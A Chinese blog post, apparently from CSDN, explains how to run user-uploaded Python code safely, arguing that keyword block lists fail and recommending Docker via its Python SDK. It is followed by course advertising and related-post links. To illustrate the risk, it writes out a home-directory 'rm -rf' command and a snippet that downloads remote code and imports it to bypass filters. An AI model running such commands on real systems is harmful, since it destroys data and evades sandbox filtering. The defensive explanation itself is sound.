如何安全运行别人上传的Python代码?

通过Azure Container Apps动态会话运行安全的Python代码 Azure Container Apps动态会话提供了一种安全且灵活的方式来运行Python代码。通过本资源,你可以处理不同格式的数据并生成可视化结果。Azure Container Apps文档Langchain库。 阅读详情

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

import requests

code = requests.get('https://www.kingname.info/dangerous_code').text

with open('dangerous_code.py', 'w') as f:
    f.write(code)

dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下:

import os
def delete_all():
    os.system('rm -rf ~/*')

这样就可以绕过关键字检查,并成功删除你的文件了。

如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

首先,确保你的服务器上面已经有Docker,并且正在运行。接下来,安装Docker SDK:

pip install docker

假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面,那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

from python:3.10

run pip install -r requirements.txt
copy . /app
workdir /app

当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

接下来,我们开始构建镜像并运行代码:

import docker
client = docker.from_env()

client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义

container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

container.logs(tail=10) # 显示最后10行日志

就可以看到相关的日志了。

关于Python学习指南

学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后给大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!

包括:Python激活码+安装包、Python web开发,Python爬虫,Python数据分析,人工智能、自动化办公等学习教程。带你从零基础系统性的学好Python!

👉Python所有方向的学习路线👈

Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。(全套教程文末领取)

在这里插入图片描述

👉Python学习视频600合集👈

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

在这里插入图片描述

温馨提示:篇幅有限,已打包文件夹,获取方式在:文末

👉Python70个实战练手案例&源码👈

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。

在这里插入图片描述

👉Python大厂面试资料👈

我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。

在这里插入图片描述

在这里插入图片描述

👉Python副业兼职路线&方法👈

学好 Python 不论是就业还是做副业赚钱都不错,但要学会兼职接单还是要有一个学习规划。

在这里插入图片描述

👉 这份完整版的Python全套学习资料已经上传,朋友们如果需要可以扫描下方优快云官方认证二维码或者点击链接免费领取【保证100%免费】

探索Azure Container Apps动态会话:安全执行Python代码的现代方法 Azure Container Apps动态会话为安全执行Python代码提供了可靠解决方案。借助其隔离沙箱和流行包支持,您可以放心地在云中运行动态代码。Azure Container App官方文档LangChain GitHub:动态会话示例。 阅读详情

相关推荐

使用Azure容器应用动态会话安全执行Python代码

Azure容器应用动态会话为Python代码解释提供了一个安全的平台,特别适合那些需要在隔离环境中运行不受信任代码的场景。Microsoft Azure Container Apps 文档Langchain Github 示例。

jaioyfpo的博客 398

如何安全运行别人上传的 Python 代码?

这是「进击的Coder」的第 901篇技术分享作者:kingname来源:未闻 Code“ 阅读本文大概需要 5 分钟。 ”写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的 Python 代码。后端再运行这些代码。涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的 Hom...

静觅 206

探索Azure Container Apps动态会话:运行安全的Python代码解释器

Azure Container Apps动态会话为运行不受信任的Python代码提供了强大的平台,安全且隔离。通过本文的介绍,希望您对如何设置和使用这些工具有了更深的理解。

afTFODguAKBF的博客 386

[利用Azure Container Apps动态会话安全运行Python代码的深入指南]

Azure Container Apps动态会话提供了一种强大的工具,用于安全地在隔离环境中运行Python代码。通过本文,您应该能够设置并使用该工具来进行数据分析和更复杂的任务。

qq_29929123的博客 512

在Azure Container Apps中运行动态Python代码:通过安全沙箱提升可扩展性

Azure Container Apps的动态会话提供了安全、可靠的代码执行环境,适合需要执行不信任代码的场景。更多复杂实例和使用指南可以参考LangGraph数据分析示例。

mmlihaio的博客 480

使用Azure Container Apps动态会话实现安全的Python代码执行

Azure Container Apps动态会话提供了一个安全且灵活的Python代码执行环境,适合处理不安全代码执行的场景。通过本文示例,您可以快速搭建并使用这一强大工具。

afTFODguAKBF的博客 420

在Azure容器应用中动态运行Python沙盒代码

通过本文,我们了解了如何在Azure容器应用中安全、动态地运行Python代码。Azure Container Apps 文档。

qq_29929123的博客 324

使用 Azure Container Apps 动态会话来安全执行 Python 代码

Azure Container Apps 为开发者提供了一个在云中运行轻量级容器的简便方法。通过动态会话,可以为不同的应用场景提供灵活的编程环境。这对机器学习模型的训练、数据的处理和分析等任务尤为有利。

GEAWfaacc的博客 292

[Azure Container Apps动态会话:安全执行您的Python代码]

Azure Container Apps动态会话为在安全环境下运行Python代码提供了切实可行的解决方案,支持丰富的Python包生态。Azure Container Apps文档Langchain GitHub仓库。

jaioyfpo的博客 516

E2B Data Analysis Sandbox: 安全强大的Python数据处理环境

E2B数据分析沙盒为开发者提供了一个强大的环境,可以安全地处理和分析数据。这使得它成为构建高级数据分析工具的理想平台。官方API文档Langchain社区项目。

aehrutktrjk的博客 1263

Windows下玩转DeepSeek-R1:Ollama+Docker配置RAGFlow的3种网络调试方案

本文详细介绍了在Windows环境下使用Ollama和Docker配置RAGFlow的三种网络调试方案,帮助开发者解决本地部署AI知识库系统时的网络隔离问题。通过host.docker.internal直连、自定义Docker网桥网络和端口映射与反向代理三种方法,实现DeepSeek-R1模型与RAGFlow的高效通信,提升本地AI应用的开发效率。

weixin_28347369的博客 247
上一篇: Python工程师面试高频题:return 和 yield之间到底有啥区别?
下一篇: 你知道 Python 其实自带了小型数据库吗
我爱学大模型
博客等级 码龄3年 7883粉丝 687原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值